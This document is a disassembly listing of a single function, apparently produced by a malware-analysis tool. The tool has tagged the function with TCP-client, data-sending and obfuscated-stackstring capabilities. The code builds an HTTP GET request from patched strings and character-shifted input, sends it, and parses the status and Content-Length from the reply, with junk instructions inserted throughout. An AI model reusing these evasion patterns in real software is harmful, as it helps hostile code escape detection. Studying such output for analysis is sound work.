Function at 0x408040
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Contain obfuscated stackstrings
Create tcp socket
Create udp socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x419259
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x348
mov dword [ebp - 4], 0
push esi
mov esi, 0x3afe05d6
mov esi, 0x494868c2
add esi, ebp
pop esi
lea eax, [ebp - 0x1a4]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00407eb0
add esp, 8
movzx edx, al
test edx, edx
jne 0x4080a8
mov byte [ebp - 0xd], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.0040fa10
mov al, byte [ebp - 0xd]
jmp 0x408a5d
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
jne 0x4080d8
mov byte [ebp - 0xe], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.0040fa10
mov al, byte [ebp - 0xe]
jmp 0x408a5d
push esi
mov esi, 0x1cbb48eb
mov esi, 0x38987a16
xor esi, esi
pop esi
push 0x10
lea eax, [ebp - 0x1a4]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.WS2_32.dll_connect]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffff
jne 0x40811d
mov byte [ebp - 0xf], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.0040fa10
mov al, byte [ebp - 0xf]
jmp 0x408a5d
push eax
mov eax, 0x5f270c76
mov eax, 0x62a00361
sub eax, esi
pop eax
push str.H__P
lea ecx, [ebp - 0xec]
call fcn.0040f1c0
mov byte [ebp - 4], 1
push esi
sub esi, edi
mov esi, 0x27b25009
mov esi, 0x3fb6265a
pop esi
push 1
lea ecx, [ebp - 0xec]
call fcn.00410180
mov byte [eax], 0x54
push edx
mov edx, 0xf772ab7
and edx, ecx
mov edx, 0x7d3e5247
pop edx
push 2
lea ecx, [ebp - 0xec]
call fcn.00410180
mov byte [eax], 0x54
push ecx
mov ecx, 0x6bd9775c
xor ecx, esp
and ecx, edx
sub ecx, edx
nop
pop ecx
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x134], esp
push 0x41e384
call fcn.0040f0c0
mov dword [ebp - 0x34], eax
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0xf0], edx
mov byte [ebp - 4], 2
push 0x41a358
lea ecx, [ebp - 0x1bc]
call fcn.0040f1c0
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x194]
push edx
mov byte [ebp - 4], 4
call fcn.00407a00
add esp, 0x20
mov dword [ebp - 0xf4], eax
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x1bc]
call fcn.0040fa10
push ebp
xor ebp, esp
sbb ebp, edi
sub ebp, eax
mov ebp, 0x59c38e2
nop
pop ebp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xf8], esp
push 0x41e384
call fcn.0040f0c0
mov dword [ebp - 0xfc], eax
lea eax, [ebp - 0xec]
push eax
lea ecx, [ebp - 0x130]
push ecx
call fcn.00407a00
add esp, 0x20
mov dword [ebp - 0x100], eax
mov byte [ebp - 4], 7
push eax
xor eax, edx
mov eax, 0x23833e85
and eax, edx
sub eax, eax
nop
pop eax
push edx
mov edx, 0x5ee42de6
mov edx, 0x1b7d1046
or edx, ecx
pop edx
lea ecx, [ebp - 0x17c]
call fcn.0040f290
mov byte [ebp - 4], 8
mov dword [ebp - 0x1c], 0
jmp 0x40827d
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
lea ecx, [ebp + 0xc]
call fcn.00417520
cmp dword [ebp - 0x1c], eax
jae 0x4082aa
mov eax, dword [ebp - 0x1c]
push eax
lea ecx, [ebp + 0xc]
call fcn.00410180
movsx ecx, byte [eax]
add ecx, 0x11
push ecx
lea ecx, [ebp - 0x17c]
call fcn.00415a00
jmp 0x408274
push str.G_T
lea ecx, [ebp - 0x164]
call fcn.0040f1c0
mov byte [ebp - 4], 9
push edi
or edi, edi
and edi, ecx
mov edi, 0x716b0135
xor edi, edi
nop
pop edi
push 1
lea ecx, [ebp - 0x164]
call fcn.00410180
mov byte [eax], 0x45
push ebp
and ebp, esi
sbb ebp, esp
mov ebp, 0x67d06c78
add ebp, ebx
nop
pop ebp
lea ecx, [ebp - 0xd4]
call fcn.0040f290
mov byte [ebp - 4], 0xa
push 0x41a368
push str._1.1
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x104], esp
push 0x41e384
call fcn.0040f0c0
mov dword [ebp - 0x108], eax
lea edx, [ebp - 0x130]
push edx
lea eax, [ebp - 0x24c]
push eax
call fcn.00407a00
add esp, 0x20
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x44], ecx
mov byte [ebp - 4], 0xb
mov edx, dword [ebp - 0x44]
push edx
push 0x41a374
mov eax, dword [ebp + 8]
add eax, 0x18
push eax
lea ecx, [ebp - 0x164]
push ecx
lea edx, [ebp - 0x234]
push edx
call fcn.0040c890
add esp, 0xc
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0x4c]
push ecx
lea edx, [ebp - 0x21c]
push edx
call fcn.0040c850
add esp, 0xc
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x54], eax
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x54]
push ecx
lea edx, [ebp - 0x204]
push edx
call fcn.0040c760
add esp, 0xc
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x5c], eax
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0x5c]
push ecx
lea edx, [ebp - 0x1ec]
push edx
call fcn.0040c850
add esp, 0xc
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x64], eax
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x64]
push ecx
lea edx, [ebp - 0x1d4]
push edx
call fcn.0040c850
add esp, 0xc
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x6c], eax
mov ecx, dword [ebp - 0x6c]
push ecx
lea ecx, [ebp - 0xd4]
call fcn.0040fe70
lea ecx, [ebp - 0x1d4]
call fcn.0040fa10
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x1ec]
call fcn.0040fa10
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x204]
call fcn.0040fa10
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x21c]
call fcn.0040fa10
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x234]
call fcn.0040fa10
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x24c]
call fcn.0040fa10
push 0x41a378
mov edx, dword [ebp + 8]
push edx
push str.Host:
lea eax, [ebp - 0x27c]
push eax
call fcn.0040ca20
add esp, 0xc
mov dword [ebp - 0x70], eax
mov ecx, dword [ebp - 0x70]
mov dword [ebp - 0x74], ecx
mov byte [ebp - 4], 0x10
mov edx, dword [ebp - 0x74]
push edx
lea eax, [ebp - 0x264]
push eax
call fcn.0040c850
add esp, 0xc
mov dword [ebp - 0x78], eax
mov ecx, dword [ebp - 0x78]
mov dword [ebp - 0x7c], ecx
mov byte [ebp - 4], 0x11
mov edx, dword [ebp - 0x7c]
push edx
lea ecx, [ebp - 0xd4]
call fcn.00410450
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x264]
call fcn.0040fa10
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x27c]
call fcn.0040fa10
push str.Accept_Language:_en_us_r_n
lea ecx, [ebp - 0xd4]
call fcn.00410490
push str.Connection:_close_r_n
lea ecx, [ebp - 0xd4]
call fcn.00410490
push 0x41a3b4
lea eax, [ebp - 0x17c]
push eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x10c], esp
push 0x41e384
call fcn.0040f0c0
mov dword [ebp - 0x110], eax
lea ecx, [ebp - 0x194]
push ecx
lea edx, [ebp - 0x2dc]
push edx
call fcn.00407a00
add esp, 0x20
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x84], eax
mov byte [ebp - 4], 0x12
mov ecx, dword [ebp - 0x84]
push ecx
push str.User_Agent:
lea edx, [ebp - 0x2c4]
push edx
call fcn.0040c9e0
add esp, 0xc
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x8c], eax
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0x8c]
push ecx
lea edx, [ebp - 0x2ac]
push edx
call fcn.0040c810
add esp, 0xc
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x94], eax
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x94]
push ecx
lea edx, [ebp - 0x294]
push edx
call fcn.0040c850
add esp, 0xc
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x9c], eax
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x9c]
push ecx
lea ecx, [ebp - 0xd4]
call fcn.00410450
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x294]
call fcn.0040fa10
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x2ac]
call fcn.0040fa10
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x2c4]
call fcn.0040fa10
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x2dc]
call fcn.0040fa10
push 0x41a3c8
lea ecx, [ebp - 0xd4]
call fcn.00410490
push 0
lea ecx, [ebp - 0xd4]
call fcn.00414fd0
push eax
lea ecx, [ebp - 0xd4]
call fcn.00413ef0
push eax
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffff
jne 0x4086c2
mov byte [ebp - 0x10], 0
mov byte [ebp - 4], 9
lea ecx, [ebp - 0xd4]
call fcn.0040fa10
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x164]
call fcn.0040fa10
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x17c]
call fcn.0040fa10
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x130]
call fcn.0040fa10
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x194]
call fcn.0040fa10
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xec]
call fcn.0040fa10
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.0040fa10
mov al, byte [ebp - 0x10]
jmp 0x408a5d
push edx
mov edx, 0x36db0450
and edx, eax
and edx, esp
add edx, eax
nop
pop edx
mov eax, dword [ebp - 0x18]
push eax
lea ecx, [ebp - 0x2f4]
push ecx
call fcn.00407de0
add esp, 8
mov dword [ebp - 0xa0], eax
mov edx, dword [ebp - 0xa0]
push edx
mov ecx, dword [ebp + 8]
add ecx, 0x3c
call fcn.0040fe70
lea ecx, [ebp - 0x2f4]
call fcn.0040fa10
push ebp
xor ebp, edx
mov ebp, 0x43af653f
sub ebp, ebx
sbb ebp, edx
nop
pop ebp
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
push 0
push str._r_n_r_n
mov ecx, dword [ebp + 8]
add ecx, 0x3c
call fcn.004147d0
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xffffffff
jne 0x4087c0
push ebx
add ebx, edi
mov ebx, 0x593c180a
sbb ebx, eax
or ebx, edx
nop
pop ebx
mov byte [ebp - 0x11], 0
mov byte [ebp - 4], 9
lea ecx, [ebp - 0xd4]
call fcn.0040fa10
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x164]
call fcn.0040fa10
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x17c]
call fcn.0040fa10
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x130]
call fcn.0040fa10
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x194]
call fcn.0040fa10
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xec]
call fcn.0040fa10
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.0040fa10
mov al, byte [ebp - 0x11]
jmp 0x408a5d
mov ecx, dword [ebp - 0x28]
add ecx, 4
push ecx
push 0
lea edx, [ebp - 0x14c]
push edx
mov ecx, dword [ebp + 8]
add ecx, 0x3c
call fcn.004176a0
mov byte [ebp - 4], 0x16
mov eax, dword [0x41a6fc]
push eax
mov ecx, dword [ebp - 0x28]
add ecx, 4
push ecx
lea edx, [ebp - 0x30c]
push edx
mov ecx, dword [ebp + 8]
add ecx, 0x3c
call fcn.004176a0
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0xa4]
push eax
mov ecx, dword [ebp + 8]
add ecx, 0x3c
call fcn.0040fe70
lea ecx, [ebp - 0x30c]
call fcn.0040fa10
push ebp
mov ebp, 0x6bc350b0
add ebp, esp
mov ebp, 0x27c94b70
pop ebp
push eax
and eax, esi
mov eax, 0x6ca5029f
mov eax, 0x3f7c5331
pop eax
push 0
push str._1.1_200
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x114], esp
push 0x41e384
call fcn.0040f0c0
mov dword [ebp - 0x118], eax
lea ecx, [ebp - 0x130]
push ecx
lea edx, [ebp - 0x33c]
push edx
call fcn.00407a00
add esp, 0x20
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0xac], eax
mov byte [ebp - 4], 0x17
mov ecx, dword [ebp - 0xac]
push ecx
lea edx, [ebp - 0x324]
push edx
call fcn.0040c850
add esp, 0xc
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0xb4], eax
mov ecx, dword [ebp - 0xb4]
push ecx
lea ecx, [ebp - 0x14c]
call fcn.00414760
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0xffffffff
je 0x4088dd
mov dword [ebp - 0x2c], 1
jmp 0x4088e4
mov dword [ebp - 0x2c], 0
mov dl, byte [ebp - 0x2c]
mov byte [ebp - 0x12], dl
lea ecx, [ebp - 0x324]
call fcn.0040fa10
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x33c]
call fcn.0040fa10
movzx eax, byte [ebp - 0x12]
test eax, eax
je 0x40891a
mov ecx, 0xc8
mov edx, dword [ebp + 8]
mov word [edx + 0x38], cx
jmp 0x408934
push ebp
sbb ebp, esp
mov ebp, 0x58225121
or ebp, esp
or ebp, edx
nop
pop ebp
mov eax, 0x194
mov ecx, dword [ebp + 8]
mov word [ecx + 0x38], ax
push 0
push str.Content_Length:
lea ecx, [ebp - 0x14c]
call fcn.004147d0
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffff
je 0x4089de
push eax
sub eax, eax
mov eax, 0x3e8f1329
mov eax, 0x378354ff
pop eax
mov edx, dword [ebp - 0x20]
add edx, 1
push edx
push 0x41a3f4
lea ecx, [ebp - 0x14c]
call fcn.004147d0
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffff
je 0x4089de
push ebp
sbb ebp, ecx
sbb ebp, edi
and ebp, esi
mov ebp, 0x4719285e
nop
pop ebp
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x20]
sub eax, 0x10
push eax
mov ecx, dword [ebp - 0x20]
add ecx, 0x10
push ecx
lea edx, [ebp - 0x354]
push edx
lea ecx, [ebp - 0x14c]
call fcn.004176a0
mov dword [ebp - 0xbc], eax
mov ecx, dword [ebp - 0xbc]
call fcn.00413ef0
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
add esp, 4
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x34], eax
lea ecx, [ebp - 0x354]
call fcn.0040fa10
mov byte [ebp - 0x13], 1
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x14c]
call fcn.0040fa10
mov byte [ebp - 4], 9
lea ecx, [ebp - 0xd4]
call fcn.0040fa10
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x164]
call fcn.0040fa10
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x17c]
call fcn.0040fa10
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x130]
call fcn.0040fa10
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x194]
call fcn.0040fa10
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xec]
call fcn.0040fa10
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.0040fa10
mov al, byte [ebp - 0x13]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret